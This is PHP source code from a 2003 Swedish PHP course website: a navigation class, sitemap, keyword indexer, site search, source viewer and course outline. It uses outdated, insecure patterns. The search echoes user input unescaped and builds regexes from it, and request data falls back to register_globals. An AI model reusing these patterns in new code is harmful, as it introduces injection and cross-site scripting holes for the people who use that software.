elseif( $this->theLevel( $rowNo ) == 3 )
{
return $c1 . "." . $c2 . "." . ++$c3 . " " . $this->theText( $rowNo );
}
}
function theTextRaw( $rowNo )
{
$description = $this->GetNthDescriptionRaw( $rowNo );
$MyArray = split( '[|]', $description );
if (count( $MyArray) > 1 )
{
return trim( $MyArray[ 1 ] );
}
else
{
return "";
}
}
function theLevel( $rowNo )
{
$description = $this->GetNthDescription( $rowNo );
$MyArray = split( '[|]', $description );
return trim( $MyArray[ 0 ] );
}
# söker senaste länken på nivå 1, 2, 3, 4, och 5
# används bl.a av PutHistoryList funktionen
function CheckAllLevels( )
{
$this->lastCurrInd1 = 0;
$this->lastCurrInd2 = 0;
$this->lastCurrInd3 = 0;
$this->lastCurrInd4 = 0;
$this->lastCurrInd5 = 0;
$this->lastCurrInd1Count = 0;
$this->lastCurrInd2Count = 0;
$this->lastCurrInd3Count = 0;
$this->count = $this->GetListCount( );
$count = $this->count;
$currInd = $this->currInd ;
$this->currLev = $this->theLevel( $currInd );
for ( $row = 1; $row <= $currInd; $row++ )
{
$level = $this->theLevel( $row );
if ( $level == 1 && $row <= $count )
{
$this->lastCurrInd1 = $row ;
$this->lastCurrInd1Count++;
$this->lastCurrInd2Count = 0;
$this->lastCurrInd3Count = 0;
}
if ( $level == 2 && $row <= $count )
{
$this->lastCurrInd2 = $row ;
if ( trim ( $this->getNthURL( $row ) ) != "" )
$this->lastCurrInd2Count++;
$this->lastCurrInd3Count = 0;
}
if ( $level == 3 && $row <= $count )
{
$this->lastCurrInd3 = $row ;
if ( trim ( $this->getNthURL( $row ) ) != "" )
$this->lastCurrInd3Count++;
}
if ( $level == 4 && $row <= $count )
{
$this->lastCurrInd4 = $row ;
}
if ( $level == 5 && $row <= $count )
{
$this->lastCurrInd5 = $row ;
}
if ( $this->lastCurrInd2 < $this->lastCurrInd1 )
{
$this->lastCurrInd2 = $this->lastCurrInd1;
}
if ( $this->lastCurrInd3 < $this->lastCurrInd2 )
{
$this->lastCurrInd3 = $this->lastCurrInd2;
}
if ( $this->lastCurrInd4 < $this->lastCurrInd3 )
{
$this->lastCurrInd4 = $this->lastCurrInd3;
}
if ( $this->lastCurrInd5 < $this->lastCurrInd4 )
{
$this->lastCurrInd5 = $this->lastCurrInd4;
}
}
}
# sätter ut en lista i stil med Yahoos i formen
# PHP --> Introduktion --> Objekt och klasser
# för att folk skall kunna veta hur de kommit till en sida
function PutHistoryList( )
{
echo "<a href=\"" . $this->GetNthUrl ( $this->lastCurrInd1 ) . "\">" ;
echo $this->theText( $this->lastCurrInd1 );
echo "</a>" ;
if ( $this->currLev > 1 && $this->lastCurrInd2 <> $this->lastCurrInd1 )
{
echo "<img src=\"./images/p.gif\">" ;
echo "<a href=\"" . $this->GetNthUrl ( $this->lastCurrInd2 ) . "\">" ;
echo $this->theText( $this->lastCurrInd2 );
echo "</a>" ;
}
if ( $this->currLev > 2 && $this->lastCurrInd3 <> $this->lastCurrInd2 )
{
echo "<img src=\"./images/p.gif\">" ;
echo "<a href=\"" . $this->GetNthUrl ( $this->lastCurrInd3 ) . "\">" ;
echo $this->theText( $this->lastCurrInd3 ) ;
echo "</a>" ;
}
if ( $this->currLev > 3 && $this->lastCurrInd4 <> $this->lastCurrInd3 )
{
echo " --> " ;
echo "<a href=\"" . $this->GetNthUrl ( $this->lastCurrInd4 ). "\">" ;
echo $this->theText( $this->lastCurrInd4 ) ;
echo "</a>" ;
}
if ( $this->currLev > 4 and $this->lastCurrInd5 <> $this->lastCurrInd4)
{
echo " --> " ;
echo "<a href=\"" . $this->GetNthUrl ( $this->lastCurrInd5 ) . "\">" ;
echo $this->theText( $this->lastCurrInd5 ) ;
echo "</a>" ;
}
}
# sätt ut alla länkar på nivå 1
function Putlevel1( )
{
$count = $this->count ;
$lastCurrInd1 = $this->lastCurrInd1 ;
# hit sätter vi det som skall komma före länklistan, t.ex. <table><tr>...
echo "<table border=\"0\" valign=\"top\"><tr valign=\"top\"> ";
for( $I = 1 ; $I <= $count; $I++)
{
if ($this->theLevel( $I ) == 1)
{
if( $lastCurrInd1 == $I )
{
# Denna plats kommer vi till om vi antingen har valt exakt
# denna sida eller om den aktuella sidan hör under
# denna nivå 1 sida
echo "<td><b><a href=\"" ;
echo $this->GetNthURL ( $I ) ;
echo "\">";
echo $this->theText( $I );
echo "</a></b>\n";
if ( $I < $count -1)
{
echo "</td><td>";
echo "<img src=\"../phpkurs/images/box.gif\"";
echo " width=\"14\" height=\"14\">";
}
echo "</td>\n";
}
else
{
# hit kommer vi om aktuell sida inte hör till denna nivå 1 del
echo "<td><a href=\"" ;
echo $this->GetNthURL ( $I ) ;
echo "\">";
echo $this->theText( $I );
echo "</a>\n";
if ( $I < $count -1)
{
echo "</td><td>";
echo "<img src=\"../phpkurs/images/box.gif\"";
echo " width=\"14\" height=\"14\">";
}
echo "</td>\n";
}
}
}
# hit sätter vi det som skall komma efter länklistan,
# t.ex. ...</tr></table>
echo "</tr></table>";
}
# sätt ut alla länkar på nivå 2
function Putlevel2( )
{
# hit sätter vi det som skall komma före länklistan,
# t.ex. <table><tr>...
echo "<table width=\"100%\" border=\"0\" ";
echo "cellpadding=\"0\" cellspacing=\"0\" class=\"linklistCopy\">";
for ($I = $this->lastCurrInd1 +1; $I <= $this->count; $I++)
{
if ( $this->theLevel( $I ) == 2 )
{
if ($I < $this->count && $this->theLevel( $I + 1 ) > 2)
{
$e = "<font size=\"1\" color=\"#BBBBBB\">></font>";
}
else
$e = " ";
if( $this->lastCurrInd2 == $I )
{
# Denna plats kommer vi till om vi antingen har valt exakt
# denna sida eller om den aktuella sidan hör under
# denna nivå 2 sida
echo "<tr class=\"navSelected\"><td width=\"14\" >";
echo "<img src=\"./images/pil.gif\" width=\"14\" ";
echo " height=\"14\"></td><td>";
echo "<a href=\"" ;
echo $this->GetNthURL ( $I ) ;
echo "\">";
echo "<strong>";
echo $this->theText( $I );
echo "</strong></a></td><td align=\"right\">";
echo $e . "</td></tr>\n";
}
else
{
# hit kommer vi om aktuell sida inte hör till denna
# nivå 2 del
if (trim($this->GetNthURL ( $I )) != "")
{
echo "<tr><td width=\"14\" >";
echo "<img src=\"./images/tom.gif\" width=\"14\" ";
echo " height=\"14\"></td><td>";
echo "<a href=\"" ;
echo $this->GetNthURL ( $I ) ;
echo "\">";
echo $this->theText( $I );
echo "</a><td align=\"right\">". $e . "</td>\n";
}
else
{
echo "<tr><td colspan=\"3\"> </td></tr>";
echo "<tr><td colspan=\"3\">";
echo "<b>" . $this->theText( $I ) . "</b>";
echo "</tr>\n";
}
}
}
# behöver inte loopa längre för vi kom till en nivå 1
if ( $this->theLevel( $I ) == 1 )
{
break ;
}
}
# hit sätter vi det som skall komma efter länklistan, t.ex. </tr>...
echo "</table>";
}
# sätt ut alla länkar på nivå 3 och 4
function PutLevel3( )
{
# hit sätter vi det som skall komma före länklistan,
# t.ex. <table cellpadding=\"1\" cellspacing=\"1\"><tr>...
if( $this->theLevel( $this->lastCurrInd2+1 ) > 2)
{
for ($row = $this->lastCurrInd2+1; $row <= $this->count ; $row++)
{
$curLev = $this->thelevel( $row );
if ( $curLev < 5 || $row == $this->lastCurrInd2 )
{
if (
$row == $this->lastCurrInd3 ||
$row == $this->lastCurrInd4 )
{
# nuvarande fil hör till denna sektion
# sätter nu bara fetstil
# hit kommer koden för nivå 3
if ( $curLev <= 3)
{
echo "<img src=\"../phpkurs/images/box.gif\" ";
echo " width=\"14\" height=\"14\">";
echo "<a href=\"" . $this->GetNthURL ( $row ) . "\">\n" ;
echo "<strong>";
echo $this->theText( $row ) . "</strong></a>\n";
}
else
{
# och för nivå 4
echo "<img src=\"../phpkurs/images/box.gif\" ";
echo " width=\"14\" height=\"14\">";
echo "<a href=\"" . $this->GetNthURL ( $row ) . "\">\n" ;
echo "<strong>" ;
echo " " . $this->theText( $row ) ;
echo "</strong></a>\n";
}
}
else
{
# hit kommer koden för nivå 3
if ( $curLev <= 3)
{
echo "<img src=\"../phpkurs/images/box.gif\" ";
echo " width=\"14\" height=\"14\">";
echo "<a href=\"" . $this->GetNthURL ( $row ) . "\">\n" ;
echo $this->theText( $row ) . "</a>\n";
}
else
{
# och för nivå 4
echo "<img src=\"../phpkurs/images/box.gif\" ";
echo " width=\"14\" height=\"14\">";
echo "<a href=\"" . $this->GetNthURL ( $row ) . "\">\n" ;
echo " " . $this->theText( $row ) . "</a>\n";
}
}
}
if ($row > $this->lastCurrInd2 && $this->theLevel( $row+1 ) < 3 )
{
break;
}
}
# hit sätter vi det som skall komma efter länklistan, t.ex. </tr>...
}
}
# sätt ut alla länkar till föregående och nästa samt sourcecode
function PutNextPrev( )
{
# koden som sätter in föregående
echo "<a href=\"" . $this->GetNthURL ( $this->prevInd ) . "\"";
echo "title=\"" . $this->TheText( $this->prevInd ) . "\">" ;
echo "<img src=\"./images/prev.gif\" width=\"20\" ";
echo " height=\"14\" border=\"0\">" ;
echo "</a>" ;
# koden som sätter in nästa
echo "<a href=\"" . $this->GetNthURL ( $this->nextInd ) . "\" ";
echo "title=\"" . $this->TheText( $this->nextInd ) . "\">";
echo "<img src=\"./images/next.gif\" width=\"20\" ";
echo " height=\"14\" border=\"0\">" ;
echo "</a>\n" ;
}
# sätt ut sidokartan
function PutSitemap()
{
$filen = file( "./text/keywords2.txt" );
# kommer som en array - så jag föser ihop den
$filen = implode( $filen, "" );
$keywords = unserialize( $filen );
echo "<table border=\"0\" cellpadding=\"0\" ";
echo "cellspacing=\"0\" width=\"100%\" >";
echo "<tr bgcolor=\"#FFFFEE\"><td><b>";
echo "<a href=\"sitemap.php\">Nr";
if ( ! _RequestData( "sort" ) )
{
echo "<img src=\"./images/ner.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
else
{
echo "<img src=\"./images/tom.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
echo "</a></b></td><td>";
echo "<b><a href=\"sitemap.php?sort=heading\">Rubrik";
if ( _RequestData( "sort" ) == "heading" )
{
echo "<img src=\"./images/ner.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
else
{
echo "<img src=\"./images/tom.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
echo "</a></b></td>";
echo "<td><b><a href=\"sitemap.php?sort=files\">Filnamn";
if ( _RequestData( "sort" ) == "files" )
{
echo "<img src=\"./images/ner.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
else
{
echo "<img src=\"./images/tom.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
echo "</a></b></td>";
echo "<td><b><a href=\"sitemap.php?sort=date\">Ändrad";
if ( _RequestData( "sort" ) == "date" )
{
echo "<img src=\"./images/ner.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
else
{
echo "<img src=\"./images/tom.gif\" ";
echo "width=\"10\" height=\"10\" border=\"0\">";
}
echo "</a></b></td></tr>";
$r = 1;
for ( $row = 1; $row < $this->count; $row++ )
{
if ( $this->GetNthUrl( $row ) != "" )
{
if ( _RequestData("sort") == "date" )
{
$files[$row] = $this->ShowFileAIS($this->GetNthUrl( $row ));
}
elseif ( _RequestData("sort") == "files" )
{
$files[$row] = $this->GetNthUrl( $row );
}
elseif ( _RequestData("sort") == "heading" )
{
$files[$row] = $this->theTextRaw( $row );
}
else {
$files[$row] = $this->GetNthUrl( $row );
}
}
}
if ( _RequestData( "sort" ) == "date" )
{
arsort($files);
}
elseif ( _RequestData( "sort" ) == "files" )
{
asort($files);
}
elseif ( _RequestData( "sort" ) == "heading" )
{
asort($files);
}
else
{
//asort($files);
}
$r = 1;
foreach ( $files as $row=>$date )
{
if ( $r % 2 == 0 )
$c = "#FFFFFF";
else
$c = "#F7F7F7";
if ( _RequestData( "sort" ) )
{
echo "<tr bgcolor=\"" . $c . "\"><td>". $r . "</td><td>\n";
}
else
{
echo "<tr bgcolor=\"" . $c . "\"><td>". $r . "</td><td>\n";
}
echo "<a href=\"" . $this->GetNthURL( $row ) . "\"" ;
if ( @ count ($keywords[ $this->GetNthUrl( $row ) ]) > 0 )
{
$title = "";
$tt = $keywords[ $this->GetNthUrl( $row ) ];
foreach( $tt as $data)
$title .= $data . "\n";
echo " title=\"" . trim( $title ) . "\"";
}
echo ">\n";
if ( ! _RequestData( "sort" ) )
echo $this->TheTextAutoNum( $row );
else
echo $this->TheText( $row );
echo "</a>\n";
echo "</td><td>\n";
echo $this->GetNthURL( $row );
echo "</td><td>\n";
if ($this->GetNthUrl( $row ) != "" )
echo $this->ShowFileAccessInfo( $this->GetNthUrl( $row ) );
echo "</td></tr>\n";
$r++;
}
$r--;
echo "<tr><td> </td><td colspan=\"7\">";
echo "Antal filer: <b>$r</b></td></tr>";
echo "</table>";
}
# filens modifikationstid
function ShowFileAccessInfo( $f )
{
$realFile = dirname( _ServerData( "PATH_TRANSLATED" ) ) .
"/" . basename( $f ) ;
return date( "d.m.y H:i", filemtime ( $realFile ) );
}
# samma fast YYYYMMDD som är enklare att sortera
function ShowFileAIS( $f )
{
$realFile = dirname( _ServerData( "PATH_TRANSLATED" ) ) .
"/" . basename( $f ) ;
return date( "ymdhi", filemtime ( $realFile ) );
}
# plockar ut body delen ur filerna (för sökning och nyckelord)
function GetBody( $filename )
{
if ( !file_exists( $filename ) )
{
echo "$filename does not exist";
exit;
}
$fd = fopen ( $this->toUrl( $filename ), "r" );
$contents = "";
while (!feof ($fd)) {
$contents .= fgets($fd, 4096);
}
# echo htmlentities( $contents );
fclose ($fd);
$reg_b = '/<!--\s*#BeginEditable\s*\"body\"\s*-->';
$reg_b .= '([\w\W])';
$reg_b .= '<!--\s*#EndEditable\s*-->/';
if ( preg_match( $reg_b, $contents, $matches ) )
{
return $matches[ 1 ];
}
else
{
$b = "<!-- #BeginEditable \"body\" -->";
$e = "<!-- #EndEditable -->";
$start = strpos( $contents, $b ) + strlen( $b );
$stop = strpos( $contents, $e ) - $start;
}
return substr( $contents, $start, $stop );
}
# sparar body delen
function SaveBody( $text, $filename )
{
$back[ "ä" ] = "ä";
$back[ "Ä" ] = "Ä";
$back[ "ö" ] = "ö";
$back[ "Ö" ] = "Ö";
$back[ "å" ] = "å";
$back[ "Å" ] = "Å";
$back[ "<br />" ] = "";
$back[ "&" ] = "&";
$back[ "<" ] = "<";
$back[ ">" ] = ">";
$back[ " " ] = " ";
$back[ """ ] = "\"";
$back[ "\r\n" ] = " ";
$back[ "\n" ] = " ";
$back[ "\r" ] = " ";
$newFile = "./body/" .
substr( $filename, 0, strrpos( $filename, "." ) ) . ".php";
$fd = fopen ( $newFile, "w" );
fwrite ( $fd, $text );
fclose ( $fd );
$newFile2 = "./text/" .
substr( $filename, 0, strrpos( $filename, "." ) ) . ".txt";
$fd = fopen ( $newFile2, "w" );
$tt = strip_tags( $text );
foreach ( $back as $gammal=>$ny )
{
$tt = str_replace( $gammal, $ny, $tt );
}
$tt = preg_replace( "/\s\s+/", " ", $tt );
# for( $i = 0; $i < 10; $i++ )
# {
# $tt = str_replace( " ", " ", $tt );
# }
fwrite ( $fd, trim( $tt ) );
fclose ( $fd );
return $newFile;
}
# konvertera en relativ path till en absolut URL
function toUrl( $fileName )
{
return "http://www.enges.org/phpkurs/" .
$fileName ;
}
# lopa igenom alla filer och preparera för sökning
function PrepareBody( )
{
ob_start();
echo "Startar indexeringen<hr>";
$newFile = "./print.php";
$fd = fopen ( $newFile, "w+" );
fwrite ( $fd, "<head><title>Nägra sidor om PHP (c) anders enges, 2003</title>" );
fwrite ( $fd, "<link rel=\"stylesheet\" ");
fwrite ( $fd, " href=\"phpkurs.css\" ");
fwrite ( $fd, " type=\"text/css\">" );
fwrite ( $fd, "</head><body>" );
fwrite ( $fd, '<table width="100%" height="100%"><tr><td align="right" valign="middle" style="font-family:monospace; font-size:28px;">några sidor om php<br />© anders enges, vörå, 2003</td></tr></table>' );
fwrite ( $fd, "<?php include (\"./inc/source.php\" ); ?>\r\n" );
for ( $row = 1; $row < $this->count; $row++ )
{
#ob_flush();
flush();
if ( $this->GetNthUrl( $row ) != ""
&& $this->GetNthUrl( $row ) != "seek.php" )
{
$fil = basename( $this->GetNthUrl( $row ) );
$bod = $this->GetBody( $fil );
$fn = $this->SaveBody( $bod, $fil);
fwrite ( $fd, "<div align=\"right\">");
fwrite ( $fd, "<b>" .
basename( $this->GetNthUrl( $row ) ) .
"</b></div>" );
fwrite ( $fd, "<h3>" .
$this->TheTextAutoNum( $row ) .
"</h3>" );
fwrite ( $fd, "<?php include (\"" . $fn . "\" ); ?>\r\n" );
echo "Indexerat : " . $fn . "<br />";
# plocka ut nyckelorden
$reg_b = '/<a\s*name=\s*"([^"]*)"><\s*\/s*a\s*>/i';
if ( preg_match_all( $reg_b, $bod, $matches ) )
{
for ($i=0; $i< count( $matches[ 0 ] ); $i++)
{
$keywords[ $matches[ 1 ][ $i ] ][ ] = basename( $fn );
$keywords2[ basename( $fn ) ][] =
preg_replace("/\s+/", " ", $matches[ 1 ][ $i ] );
# echo "<br>" . $matches[ 1][ $i ] ;
}
uksort( $keywords ,"cmp" );
reset( $keywords );
}
}
}
fwrite ( $fd, "</body></html>" );
fclose ( $fd );
$fd = fopen ( "./text/keywords.txt", "w+" );
fwrite ( $fd, serialize( $keywords ) );
fclose ( $fd );
$fd = fopen ( "./text/keywords2.txt", "w+" );
fwrite ( $fd, serialize( $keywords2 ) );
fclose ( $fd );
# echo "<a href=\"print.php\">Print</a>";
echo "Indexeringen klar";
}
# lista med extraherade nyckelord
function putAllKeywords( )
{
$filen = file( "./text/keywords.txt" );
# kommer som en array - så jag föser ihop den
$filen = implode( $filen, "" );
$keywords = unserialize( $filen );
echo "<table width=\"100%\" cellspacing=\"0\" ";
echo " cellpadding=\"1\">\n";
echo "<tr bgcolor=\"#F0F0F0\"><td><b>";
echo "Nyckelord</b></td><td><b>Fil</b></td></tr>\n";
$annan = false;
foreach( $keywords as $k=>$f )
{
if ( $annan )
echo "<tr bgcolor=\"#F5F5F5\">";
else
echo "<tr bgcolor=\"#FFFFFF\">";
echo "<td>$k</td><td>";
foreach( $f as $ff )
echo "<a href=\"$ff#$k\">[$ff]</a> ";
echo "</td></tr>\n";
$annan = ! $annan;
}
echo "</table>";
}
# sökfunktionen
function mySearch( $sök )
{
echo "<table border=\"0\" cellpadding=\"0\" ";
echo "cellspacing=\"0\" width=\"100%\" >";
$hit = 0;
for ( $row = 1; $row < $this->count; $row++ )
{
if ( $this->GetNthUrl( $row ) != "" &&
$this->GetNthUrl( $row ) != "seek.php" )
{
$fil = basename( $this->GetNthUrl( $row ) );
$fil = "./text/" . substr( $fil, 0, strrpos( $fil, ".") ) . ".txt";
$fd = @fopen ( $fil, "r" );
if ( ! $fd )
{
echo "<b>OOPS!</b> Jag har tydligen glömt att indexera sökmaskineriet efter att ha gjort ändringar<br>";
echo "<a href=\"prep.php\">[ Klicka här för att göra det åt mig - tack ]</a><br /><br />\n";
echo "</table>";
return;
}
$contents = fread ($fd, filesize ($fil));
$contents = strip_tags($contents);
fclose ( $fd );
if ( _RequestData( "typ" ) )
$myseek = "/\b" . $sök . "\b/i";
else
$myseek = "/" . $sök . "/i";
if( preg_match( $myseek ,$contents, $matches) )
{
$hit++;
$po = strpos( $contents, $matches[ 0 ] );
$co = substr( $contents,$po-10, 80 );
$co = strip_tags( $co );
echo "<tr><td>". $hit . "</td><td><a href=\"" .
$this->GetNthUrl( $row ) . "\">" .
$this->TheTitle( $row ) .
"</a></td><td>";
echo basename( $this->GetNthUrl( $row ) ) .
"</td><td>" .
$this->ShowFileAccessInfo( $this->GetNthUrl( $row ) ).
"</tr>" ;
echo "<tr><td> </td><td colspan=\"3\">" .
$co .
"<br><br></td></tr>";
}
}
}
if ( $hit == 0 )
echo "<tr><td>Kunde inte hitta något som matchade '<b>" .
$sök .
"</b>'</td></tr>";
echo "</table>";
}
# stt en simpel counter
function PutCounter()
{
if ( substr( $_SERVER["HTTP_USER_AGENT"],0,3) == "PHP" )
return;
echo "<hr size=\"1\" width=\"40%\" align=\"right\">";
echo "<table border=\"0\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">";
# Jag använder en lätt modifierad TScounter 3.0
# by Thomas Schuster
# http://www.TSinter.net
include_once( dirname( __FILE__ ) . "/class_counter.php" );
$counter = new TScounter( $_SERVER["REMOTE_ADDR"], @ $_COOKIE["PHPSESSID"] );
$visitorLogged = $counter->_logVisitors();
$v = $this->formatCounterNo($counter->visitors);
$p = $this->formatCounterNo($counter->pageImpressions);
$t = $this->formatCounterNo($counter->thisPageImpressions);
#echo "<table border=\"0\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">";
echo "<tr><td class=\"counter\" align=\"right\">" . $v ." </td></tr>";
echo "<tr><td class=\"counter\" align=\"right\">" . $t ." </td></tr>";
echo "<tr><td class=\"counter\" align=\"right\">" . $p . " </td></tr>";
#echo "<tr><td class=\"counter\" align=\"right\"><hr size=\"1\" width=\"92%\" align=\"right\"></td></tr>";
echo "</table>";
}
function PutShowSource()
{
echo "<a href=\"./inc/code.php?source=" .
basename($_SERVER["PHP_SELF"]) .
"\"><img alt=\"Visa källkoden\" src=\"./images/source.gif\" border=\"0\" hspace=\"4\"></a>";
}
function formatCounterNo( $number )
{
return number_format($number, 0, ",", " ") ;
}
}
# hjälpfunktin för uksort sorteringen
function cmp ( $a, $b )
{
$a = strtolower( $a );
$b = strtolower( $b );
if ($a == $b) return 0;
return ( $a > $b ) ? 1 : -1;
}
# bara nåt tjafs
$currentCount =0;
$countDate = 0;
function count_it( )
{
$rs = "";
if ( !isset( $_SESSION[ "counted" ] ) && !isset( $_COOKIE["NoCount"] ) )
{
$viewss = file( "./count/counterlog.txt" );
$views = $viewss[0];
$views++;
$_SESSION[ "counted" ] = $views;
$fp = fopen("./count/counterlog.txt", "w");
fwrite($fp, $views);
fclose($fp);
return $views ;
}
else
{
$viewss = file("./count/counterlog.txt");
$views = $viewss[ 0 ];
return $views ;
}
}
?>
Kompatibiltetfil för 4.0.6 och 4.1.1
<?php
# olika versioner av PHP har lite olika sätt att hantera
# datat via URL
function _RequestData( $vad )
{
global $HTTP_REQUEST_VARS;
if( isset( $_REQUEST[$vad] ) ) # PHP 4.1
{
return $_REQUEST[$vad];
}
elseif( isset( $HTTP_REQUEST_VARS[$vad] ) ) # PHP 4.0.6
{
return $HTTP_REQUEST_VARS[$vad];
}
elseif( isset( $GLOBALS[$vad] ) ) # PHP < 4.0.6
{
return $GLOBALS[$vad];
}
elseif( isset( $$vad ) ) # Register_globals = On i php.ini
{
return $$vad;
}
else # finns inte
{
return;
}
}
function _ServerData( $vad )
{
global $HTTP_SERVER_VARS;
if( isset( $_SERVER[$vad] ) ) # PHP 4.1
{
return $_SERVER[$vad];
}
elseif( isset( $HTTP_SERVER_VARS[$vad] ) ) # PHP 4.0.6
{
return $HTTP_SERVER_VARS[$vad];
}
elseif( isset( $GLOBALS[$vad] ) ) # PHP < 4.0.6
{
return $GLOBALS[$vad];
}
elseif( isset( $$vad ) ) # Register_globals = On i php.ini
{
return $$vad;
}
else # finns inte
{
return;
}
}
?>
Inställningar som jag inte sluppit åt att ändra på i serverns php.ini
<?php
ini_alter("highlight.comment", "#006400");
ini_alter("highlight.string", "#CC0000");
ini_alter("highlight.keyword", "#0000CD");
ini_alter("highlight.bg", "#FFFFFF");
ini_alter("highlight.default", "#000000");
ini_alter("highlight.html" , "#800000");
ini_alter("default_charset", "iso-8859-1");
?>
Används för att visa källkod
<?php
include_once( dirname(__FILE__) . "/compat.php");
$fn = 1;
function myShow_Source( $fileName , $dangerous=false, $showres=true )
{
$fno = figno();
if( $fileName == "./samples/_server.php" )
$fileName = "./samples/_server.txt";
echo "<div class=\"source\">";
if ( $fileName == "phpinfo.php" )
{
highlight_string("<?php \nphpinfo();\n?>");
}
else
{
$a = file ( $fileName ) or die( "Kunde inte öppna filen<br />" );
$a = implode($a, "");
ob_start();
highlight_string($a);
$a = ob_get_contents ();
ob_end_clean();
if ( $fileName != "./inc/source.php" )
{
$a = str_replace("/*NY*/", "<b>", $a);
$a = str_replace("/*/NY*/", "</b>", $a);
$a = str_replace("/*BORT", "<span style=\"text-decoration:
line-through; \">", $a);
$a = str_replace("BORT*/", "</span>", $a);
$a = str_replace("<!--NY-->", "<b>", $a);
$a = str_replace("<!--/NY-->", "</b>", $a);
}
echo $a;
# show_source( $fileName ) or die( "Kunde inte öppna filen<br />" );
}
echo "</div>";
echo "<div align=\"right\"><font size=\"1\">Listning " .
$fno . " - " .
str_replace( "./", "" , $fileName ) ;
if (!$showres)
{
if ( substr(basename($fileName),0,3) != "php" &&
$fileName != "./samples/_server.txt" )
{
if (strpos( $fileName, "inc/") == 0 )
echo "<br><a href=\"./samples/visa.php?vad=" .
$fileName .
"\" target=\"_blank\">[Visa i separat fönster]</a>";
}
# else
# echo "<br /><b>Vill inte visa resultatet</b>";
}
echo "</font></div><br clear=\"all\" />";
if ( $showres )
{
echo "<div class=\"res\">";
if ( $dangerous )
{
$realFile = "http://" . _ServerData( "SERVER_NAME" ) .
dirname( _ServerData( "SCRIPT_NAME" ) ) .
"/".
$fileName ;
#http://localhost/enges.org/phpkurs/./samples/s115.php
$realFile = str_replace("/./", "/", $realFile );
readfile ($realFile) or die("Kunde inte öppna " . $realFile);
}
else
{
include( $fileName );
}
echo "</div>";
echo "<div align=\"right\"><font size=\"1\">Resultat av listning " .
$fno . "</font></div><br clear=\"all\" />";
}
}
function figNo()
{
global $fn;
global $navList;
if($navList->currLev == 1)
{
return $navList->lastCurrInd1Count .
"." .
$fn++;
}
elseif( $navList->currLev == 2 )
{
return $navList->lastCurrInd1Count .
"." .
($navList->lastCurrInd2Count) .
"." .
$fn++;
}
elseif( $navList->currLev == 3 )
{
return $navList->lastCurrInd1Count .
"." .
($navList->lastCurrInd2Count) .
"." .
($navList->lastCurrInd3Count) .
"." .
$fn++;
}
}
?>
index.php | 1|Börja här|PHP-programmering |
default2.php | 3|Installation |
security.php | 3|PHP versionerna |
koden.php | 3|Kodformatering |
2|Grunder | |
syntax.php | 2|Allmänt |
operander.php | 2|Operander |
tilldelning.php | 3|Tilldelning |
loperander.php | 3|Logiska operander |
soperander.php | 3|Specialare |
here.php | 3|HERE docs |
styrsatser.php | 2|Kontrollsatser |
loopar.php | 3|Loopar |
fel.php | 3|Felhantering |
variabler.php | 2|Variabler |
scope.php | 3|Räckvidd |
isset.php | 3|Kontroll |
konstanter.php | 3|Konstanter |
funktioner.php | 2|Funktioner |
funktioner_ref.php | 3|Referens parametrar |
dynamiska.php | 3|Dynamiska funktioner |
arrays.php | 2|Arrays |
arrays_single.php | 3|Endimensionella |
arrays_multi.php | 3|Flerdimensionella |
globals.php | 2|PHP variabler |
_server.php | 3|_SERVER |
_cookie.php | 3|_COOKIE |
_get.php | 3|_GET |
_post.php | 3|_POST |
_session.php | 3|_SESSION |
_env.php | 3|_ENV |
_request.php | 3|_REQUEST |
forms.php | 2|Formar |
input_type.php | 3|Form |
input.php | 3|Textbox |
input_cr.php | 3|Checkbox och radio |
input_list.php | 3|List och combo |
input_knapp.php | 3|Knappar |
input_hidden.php | 3|Hidden |
2|Funktioner | |
strings.php | 2|Strängar |
strings_van.php | 3|Vanliga |
strings_conv.php | 3|HTML inriktade |
strings_reg.php | 3|Regexp |
strings_reg_ex.php | 3|Regexp i PHP |
strings_more.php | 3|Övriga |
nummer.php | 2|Nummer |
nkonvert.php | 3|Avrundning |
nformat.php | 3|Formatering |
slumptal.php | 3|Slumptal |
stora.php | 3|Stora tal |
datum.php | 2|Datum |
array.php | 2|Arrays |
array_cc.php | 3|Allmänt |
array_man.php | 3|Manipulationer |
array_sort.php | 3|Sorteringar |
array_sq.php | 3|Stackar och köer |
array_str.php | 3|Strängar |
filer.php | 2|PHP Filer |
filer_php.php | 3|Programfiler |
filer_php2.php | 3|Övriga funktioner |
filerna.php | 2|Filhantering |
filerna_kat.php | 3|Kataloger |
filerna_fil.php | 3|Filer |
filerna_fil2.php | 3|Filmanipulation |
filerna_fil3.php | 3|Läsning |
filerna_fil4.php | 3|Skrivning |
filerna_fil5.php | 3|HTML |
network.php | 2|Nätverk |
mail.php | 3|Elpost |
inter.php | 3|Internet |
2|Diverse | |
aut.php | 2|Autenticering |
upload1.php | 2|Upload |
2|Bildhantering | |
tumbnail.php | 2|Thumbnails |
2|Klasser | |
klass1.php | 2|Introduktion|En introduktion till klasser |
kex1.php | 3|Ett exempel på klass |
ovn1.php | 1|Uppgifter |
2|Uppvärmning | |
l1.php | 2|Uppgift 1 |
2|Formar | |
ep1.php | 2|Uppgift 1.5|På allmän begäran - vi sänder elpost |
2|Filer och arrays | |
l2.php | 2|Uppgift 2|En filbaserad gästbok |
l3.php | 3|1|Gästbokens datafil och fillistning |
l4.php | 3|2|Datumformat och sortering |
l5.php | 3|3|En html form |
l6.php | 3|4|Hantering av formdatat med PHP |
l7.php | 3|5|Problem... |
l8.php | 3|6|Skrivning till filen |
l9.php | 3|7|Nästan klar, men... |
l10.php | 3|8|Refresh problematiken |
l11.php | 3|9|Validering |
l12.php | 3|Din uppgift |
l14.php | 2|Uppgift 3|En webbadressbok |
file_del1.php | 2|Uppgift 4|Radering i filer |
2|Slideshow | |
slide1.php | 2|Uppgift 5|Skapa en "slideshow" |
slide3.php | 3|Din uppgift |
slide2.php | 3|Extra uppgift|Mer om bildmanipulering - ej obligatorisk |
2|Slutuppgift NY! | |
uppg6a.php | 2|Uppgift 6 |
uppg6b.php | 3|Blog |
uppg6c.php | 3|Röstning |
din2.php | 3|Din uppgift |
quiz_h.php | 1|Testa dig själv |
quiz.php | 2|Allmänna frågor |
typex_1.php | 1|Tips |
link_tips.php | 2|Länkar |
